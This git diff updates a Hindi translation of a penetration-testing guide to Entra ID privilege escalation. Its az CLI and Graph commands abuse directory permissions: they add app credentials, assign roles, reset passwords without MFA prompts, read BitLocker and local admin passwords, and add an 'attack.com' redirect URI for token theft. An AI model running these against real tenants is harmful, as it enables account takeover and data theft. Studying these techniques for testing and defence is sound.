diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 53fc450e7..abc280753 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,15 +3,15 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> ध्यान दें कि Entra ID में बिल्ट-इन रोल्स के पास मौजूद **सभी सूक्ष्म अनुमतियाँ** **कस्टम रोल्स में उपयोग के लिए योग्य नहीं होतीं।** +> ध्यान दें कि **built-in roles** में मौजूद सभी granular permissions Entra ID में **custom roles** में इस्तेमाल करने के लिए eligible नहीं हैं। -## भूमिकाएँ +## Roles ### Role: Privileged Role Administrator -यह भूमिका आवश्यक सूक्ष्म अनुमतियाँ रखती है ताकि principals को roles असाइन किए जा सकें और roles को अधिक अनुमतियाँ दी जा सकें। दोनों क्रियाओं का दुरुपयोग करके privileges escalate किए जा सकते हैं। +इस role में principals को roles assign करने और roles को अधिक permissions देने के लिए आवश्यक granular permissions शामिल हैं। दोनों actions का दुरुपयोग privileges escalate करने के लिए किया जा सकता है। -- किसी user को role असाइन करना: +- Assign role to a user: ```bash # List enabled built-in roles az rest --method GET \ @@ -27,7 +27,7 @@ az rest --method POST \ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" ``` -- एक role में और अधिक permissions जोड़ें: +- किसी role में और permissions जोड़ें: ```bash # List only custom roles az rest --method GET \ @@ -48,11 +48,11 @@ az rest --method PATCH \ ] }' ``` -## एप्लिकेशन +## Applications ### `microsoft.directory/applications/credentials/update` -यह हमलावर को मौजूदा एप्लिकेशन में **add credentials** (passwords or certificates) जोड़ने की अनुमति देता है। यदि उस एप्लिकेशन के पास privileged permissions हैं, तो हमलावर उस एप्लिकेशन के रूप में authenticate कर सकता है और उन privileges हासिल कर सकता है। +यह एक attacker को मौजूदा applications में **credentials जोड़ने** (passwords या certificates) की अनुमति देता है। यदि application के पास privileged permissions हैं, तो attacker उस application के रूप में authenticate कर सकता है और वे privileges हासिल कर सकता है। ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -यह `applications/credentials/update` के समान ही क्रियाएँ करने की अनुमति देता है, लेकिन केवल single-directory applications तक सीमित है। +यह `applications/credentials/update` के समान ही actions की अनुमति देता है, लेकिन single-directory applications तक scoped है। ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -खुद को owner के रूप में जोड़कर, एक attacker application को manipulate कर सकता है, जिसमें credentials और permissions शामिल हैं। +खुद को एक owner के रूप में जोड़कर, एक attacker application को manipulate कर सकता है, including credentials and permissions. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,24 +77,24 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -एक हमलावर उन applications में एक redirect URI जोड़ सकता है जिनका उपयोग tenant के users कर रहे हैं, और फिर उनके साथ ऐसे login URLs साझा कर सकता है जो नए redirect URL का उपयोग करते हैं ताकि उनके tokens चोरी किए जा सकें। ध्यान दें कि यदि user पहले से ही application में logged in है, तो authentication स्वतः हो जाएगा और user को कुछ भी accept करने की आवश्यकता नहीं होगी। +एक attacker tenant के users द्वारा इस्तेमाल की जा रही applications में एक redirect URI जोड़ सकता है, और फिर उनके साथ ऐसे login URLs share कर सकता है जो नए redirect URL का उपयोग करते हैं, ताकि उनके tokens चुराए जा सकें। ध्यान दें कि अगर user पहले से ही application में logged in था, तो authentication automatic होगी और user को कुछ भी accept करने की ज़रूरत नहीं होगी। -ध्यान दें कि application द्वारा request की जाने वाली permissions को भी बदला जा सकता है ताकि अधिक permissions प्राप्त की जा सकें, लेकिन इस मामले में user को सभी permissions मांगने वाले prompt को फिर से accept करना होगा। +ध्यान दें कि application द्वारा request की जाने वाली permissions को बदलना भी संभव है ताकि और permissions मिल सकें, लेकिन इस case में user को permissions के लिए prompt को फिर से accept करना होगा, जिसमें सभी permissions मांगी जाएंगी। ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` -### एप्लिकेशन Privilege Escalation +### Applications Privilege Escalation -**जैसा कि [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) में समझाया गया है** यह बहुत आम था कि डिफ़ॉल्ट applications को **API permissions** प्रकार **`Application`** के रूप में असाइन किया गया हो। An API Permission (जैसा कि Entra ID console में कहा जाता है) प्रकार **`Application`** का मतलब है कि application बिना user context (बिना किसी user के app में login किए) API तक पहुंच सकती है और actions कर सकती है, और इसे Entra ID roles की अनुमति की आवश्यकता नहीं होती। इसलिए, हर Entra ID tenant में **high privileged applications** मिलना बहुत आम है। +**जैसा कि [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) में समझाया गया है** यह बहुत आम था कि default applications मिलती थीं जिनके पास **API permissions** type **`Application`** assigned होती थीं। एक API Permission (जैसा कि Entra ID console में कहा जाता है) type **`Application`** का मतलब है कि application बिना user context के (बिना app में user login के) API को access कर सकती है और actions perform कर सकती है, और इसके लिए उसे अनुमति देने के लिए Entra ID roles की जरूरत नहीं होती। इसलिए, हर Entra ID tenant में **high privileged applications** मिलना बहुत आम है। -यदि attacker के पास कोई भी permission/role है जो application के **update the credentials (secret o certificate) of the application** की अनुमति देता है, तो attacker एक नया credential जनरेट कर सकता है और फिर उसे उपयोग करके **authenticate as the application** कर सकता है, और application के सभी permissions हासिल कर लेगा। +फिर, अगर attacker के पास कोई भी permission/role है जो **application के credentials (secret o certificate) को update करने** की अनुमति देता है, तो attacker एक नया credential generate कर सकता है और फिर उसका उपयोग करके **application के रूप में authenticate** कर सकता है, और application के सभी permissions हासिल कर सकता है। -ध्यान दें कि उल्लेखित ब्लॉग कुछ सामान्य Microsoft डिफ़ॉल्ट applications की **API permissions** साझा करता है, हालांकि इस रिपोर्ट के कुछ समय बाद Microsoft ने इस मुद्दे को ठीक कर दिया और अब Microsoft applications के रूप में login करना संभव नहीं है। फिर भी, उच्च privileges वाले **custom applications** मिलना संभव है जिनका दुरुपयोग किया जा सकता है। +ध्यान दें कि mentioned blog कुछ common Microsoft default applications की **API permissions** साझा करता है, हालांकि इस report के कुछ समय बाद Microsoft ने इस issue को fix कर दिया और अब Microsoft applications के रूप में login करना possible नहीं है। हालांकि, अभी भी **high privileges वाली custom applications** मिल सकती हैं जिनका abuse किया जा सकता है। -एक application की API permissions को enumerate कैसे करें: +How to enumerate the API permissions of an application: ```bash # Get "API Permissions" of an App ## Get the ResourceAppId @@ -125,7 +125,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-सभी एप्लिकेशनों की API अनुमतियाँ खोजें और Microsoft-स्वामित्व वाली APIs को चिह्नित करें +सभी applications API permissions खोजें और Microsoft-owned APIs को चिह्नित करें ```bash #!/usr/bin/env bash set -euo pipefail @@ -241,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json") ### `microsoft.directory/servicePrincipals/credentials/update` -यह attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि उस service principal के पास elevated privileges हैं, तो attacker वे privileges assume कर सकता है। +यह एक attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। अगर service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है। ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> नया जनरेट किया गया पासवर्ड वेब कंसोल में दिखाई नहीं देगा, इसलिए यह service principal पर persistence बनाए रखने का एक छिपा तरीका हो सकता है.\ -> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> नया generated password web console में दिखाई नहीं देगा, इसलिए यह service principal पर persistence बनाए रखने का एक stealth तरीका हो सकता है।\ +> API से इन्हें इस तरह पाया जा सकता है: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -यदि आपको यह त्रुटि मिले `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` तो इसका कारण यह है कि **SP के passwordCredentials property में संशोधन करना संभव नहीं है** और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक permission (`microsoft.directory/applications/allProperties/update`) चाहिए जो आपको निष्पादित करने की अनुमति देता है: +अगर आपको error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` मिलता है, तो इसका कारण यह है कि **SP की passwordCredentials property को modify करना संभव नहीं है** और पहले आपको इसे unlock करना होगा। इसके लिए आपको एक permission (`microsoft.directory/applications/allProperties/update`) चाहिए जो आपको यह execute करने देती है: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -यह attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है। +यह एक हमलावर को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि service principal के पास elevated privileges हैं, तो हमलावर उन privileges को assume कर सकता है। ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -applications के समान, यह permission service principal में और owners जोड़ने की अनुमति देता है। किसी service principal का owner होने से उसके credentials और permissions पर नियंत्रण मिलता है। +applications की तरह, यह permission service principal में और owners जोड़ने की अनुमति देती है। किसी service principal का owner होना उसके credentials और permissions पर control देता है। ```bash # Add new owner spId="" @@ -279,13 +279,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> नया owner जोड़ने के बाद, मैंने उसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE method समर्थित नहीं है, भले ही यही method है जिसे owner को हटाने के लिए इस्तेमाल करना पड़ता है। तो आप **अब owners को हटा नहीं सकते**। +> नया owner जोड़ने के बाद, मैंने उसे remove करने की कोशिश की, लेकिन API ने response दिया कि DELETE method supported नहीं था, जबकि owner को delete करने के लिए यही method use करनी होती है. इसलिए आप **आजकल owners को remove नहीं कर सकते**। ### `microsoft.directory/servicePrincipals/disable` and `enable` -ये permissions service principals को disable और enable करने की अनुमति देते हैं। एक attacker इस permission का इस्तेमाल करके किसी service principal को enable कर सकता है जिसका उसे किसी तरह access मिल गया हो, और फिर privileges escalate कर सकता है। +ये permissions service principals को disable और enable करने की अनुमति देती हैं. एक attacker इस permission का use करके किसी service principal को enable कर सकता है, जिस तक उसे somehow access मिल सके, ताकि privileges escalate किए जा सकें. -ध्यान दें कि इस technique के लिए attacker को enabled service principal को takeover करने के लिए और भी permissions की आवश्यकता होगी। +ध्यान दें कि इस technique के लिए attacker को enabled service principal को take over करने के लिए और permissions की जरूरत होगी. ```bash # Disable az ad sp update --id --account-enabled false @@ -295,7 +295,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -ये permissions single sign-on के लिए credentials बनाने और प्राप्त करने की अनुमति देते हैं, जो third-party applications तक पहुँच की अनुमति दे सकते हैं। +ये permissions single sign-on के लिए credentials create और get करने की अनुमति देते हैं, जिससे third-party applications तक access मिल सकता है। ```bash # Generate SSO creds for a user or a group spID="" @@ -321,30 +321,30 @@ az rest --method POST \ ### `microsoft.directory/groups/allProperties/update` -यह अनुमति उपयोगकर्ताओं को विशेषाधिकार प्राप्त समूहों में जोड़ने की अनुमति देती है, जिससे privilege escalation हो सकता है। +यह permission privileged groups में users को add करने की अनुमति देती है, जिससे privilege escalation हो सकता है. ```bash az ad group member add --group --member-id ``` -**नोट**: यह अनुमति Entra ID role-assignable groups को छोड़ती है। +**नोट**: यह permission Entra ID role-assignable groups को exclude करता है। ### `microsoft.directory/groups/owners/update` -यह अनुमति उपयोगकर्ता को समूहों का मालिक बनने की अनुमति देती है। एक समूह का मालिक समूह की सदस्यता और सेटिंग्स को नियंत्रित कर सकता है, जिससे संभावित रूप से समूह पर privileges escalate किए जा सकते हैं। +यह permission groups का owner बनने की अनुमति देता है। किसी group का owner group membership और settings को control कर सकता है, जिससे potentially group तक privilege escalation हो सकती है। ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**ध्यान दें**: यह अनुमति Entra ID role-assignable groups को शामिल नहीं करती। +**नोट**: यह permission Entra ID role-assignable groups को exclude करती है। ### `microsoft.directory/groups/members/update` -यह अनुमति किसी समूह में सदस्यों को जोड़ने की अनुमति देती है। एक attacker खुद को या malicious accounts को privileged groups में जोड़ सकता है, जिससे elevated access मिल सकता है। +यह permission किसी group में members जोड़ने की अनुमति देती है। एक attacker privileged groups में खुद को या malicious accounts जोड़ सकता है, जिससे elevated access मिल सकता है। ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -यह अनुमति किसी डायनेमिक समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर डायनेमिक नियमों को संशोधित करके बिना स्पष्ट रूप से जोड़े जाने के अपने आप को विशेषाधिकार प्राप्त समूहों में शामिल कर सकता है। +यह permission dynamic group में membership rule को update करने की अनुमति देता है। एक attacker privileged groups में खुद को explicit addition के बिना शामिल करने के लिए dynamic rules को modify कर सकता है। ```bash groupId="" az rest --method PATCH \ @@ -355,11 +355,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Note**: यह permission Entra ID role-assignable groups में शामिल नहीं है। +**नोट**: यह permission Entra ID role-assignable groups को exclude करती है। ### Dynamic Groups Privesc -यह संभव हो सकता है कि उपयोगकर्ता अपनी properties संशोधित करके खुद को dynamic groups के सदस्य के रूप में जोड़वाकर privileges escalate कर सकें। अधिक जानकारी के लिए देखें: +यह संभव हो सकता है कि users अपनी own properties modify करके dynamic groups के members के रूप में add होकर privileges escalate कर लें। अधिक जानकारी के लिए check करें: {{#ref}} dynamic-groups.md @@ -369,13 +369,27 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -यह permission non-admin users का पासवर्ड रीसेट करने की अनुमति देता है, जिससे एक संभावित attacker अन्य users पर privileges escalate कर सकता है। यह permission custom roles को असाइन नहीं किया जा सकता। +यह permission non-admin users का password reset करने की अनुमति देती है, जिससे एक potential attacker अन्य users तक privileges escalate कर सकता है। यह permission custom roles को assign नहीं की जा सकती। ```bash -az ad user update --id --password "kweoifuh.234" +# Update user password +userId="" +az ad user update --id $userId --password "kweoifuh.234" + +# Update user password without needing to change or use MFA on next sign-in +az rest --method PATCH \ +--uri "https://graph.microsoft.com/v1.0/users/$userId" \ +--headers "Content-Type=application/json" \ +--body "{ +\"passwordProfile\": { +\"forceChangePasswordNextSignInWithMfa\": false, +\"forceChangePasswordNextSignIn\": false, +\"password\": \"kweoifuh.234\" +} +}" ``` ### `microsoft.directory/users/basic/update` -यह विशेषाधिकार उपयोगकर्ता की properties संशोधित करने की अनुमति देता है। अक्सर ऐसे dynamic groups मिलते हैं जो उपयोगकर्ताओं को उनके properties के मानों के आधार पर जोड़ते हैं; इसलिए यह permission किसी उपयोगकर्ता को आवश्यक property value सेट करने की अनुमति दे सकता है ताकि वह किसी specific dynamic group का सदस्य बनकर विशेषाधिकार बढ़ा सके। +यह privilege उपयोगकर्ता के properties को modify करने की अनुमति देता है। यह common है कि dynamic groups मिलते हैं जो properties values के आधार पर users को add करते हैं, इसलिए यह permission किसी user को आवश्यक property value set करने दे सकती है ताकि वह किसी specific dynamic group का member बन सके और privileges escalate कर सके। ```bash #e.g. change manager of a user victimUser="" @@ -393,17 +407,17 @@ az rest --method PATCH \ ``` ## Conditional Access Policies & MFA bypass -गलत कॉन्फ़िगर की गई conditional access policies जिनके लिए MFA आवश्यक है, bypass की जा सकती हैं, देखें: +गलत कॉन्फ़िगर किए गए conditional access policies जिनमें MFA की आवश्यकता होती है, उन्हें bypass किया जा सकता है, जांचें: {{#ref}} az-conditional-access-policies-mfa-bypass.md {{#endref}} -## डिवाइस +## Devices ### `microsoft.directory/devices/registeredOwners/update` -यह अनुमति हमलावरों को खुद को डिवाइसों के मालिक के रूप में असाइन करने की अनुमति देती है, ताकि वे डिवाइस-विशिष्ट सेटिंग्स और डेटा पर नियंत्रण या पहुँच प्राप्त कर सकें। +यह permission attackers को devices के owners के रूप में खुद को assign करने की अनुमति देती है, ताकि वे control हासिल कर सकें या device-specific settings और data तक access पा सकें। ```bash deviceId="" userId="" @@ -414,7 +428,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -यह अनुमति attackers को अपने अकाउंट को डिवाइसों से जोड़कर access प्राप्त करने या security policies को bypass करने की सुविधा देती है। +यह permission attackers को अपने account को devices के साथ associate करने की अनुमति देता है, ताकि access हासिल किया जा सके या security policies को bypass किया जा सके. ```bash deviceId="" userId="" @@ -425,7 +439,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -यह अनुमति हमलावरों को Microsoft Entra joined devices के लिए बैकअप किए गए local administrator account credentials की properties पढ़ने की अनुमति देती है, जिसमें password भी शामिल है। +यह permission attackers को Microsoft Entra joined devices के लिए backed up local administrator account credentials की properties पढ़ने की अनुमति देती है, जिसमें password भी शामिल है ```bash # List deviceLocalCredentials az rest --method GET \ @@ -440,7 +454,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -यह अनुमति BitLocker keys तक पहुँचने की अनुमति देती है, जो किसी हमलावर को ड्राइव्स को डिक्रिप्ट करने में सक्षम बना सकती है, और इससे डेटा की गोपनीयता का उल्लंघन हो सकता है। +यह permission BitLocker keys तक access की अनुमति देता है, जिससे attacker drives को decrypt कर सकता है, और data confidentiality compromise हो सकती है. ```bash # List recovery keys az rest --method GET \ @@ -451,7 +465,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## अन्य दिलचस्प permissions (TODO) +## अन्य Interesting permissions (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update`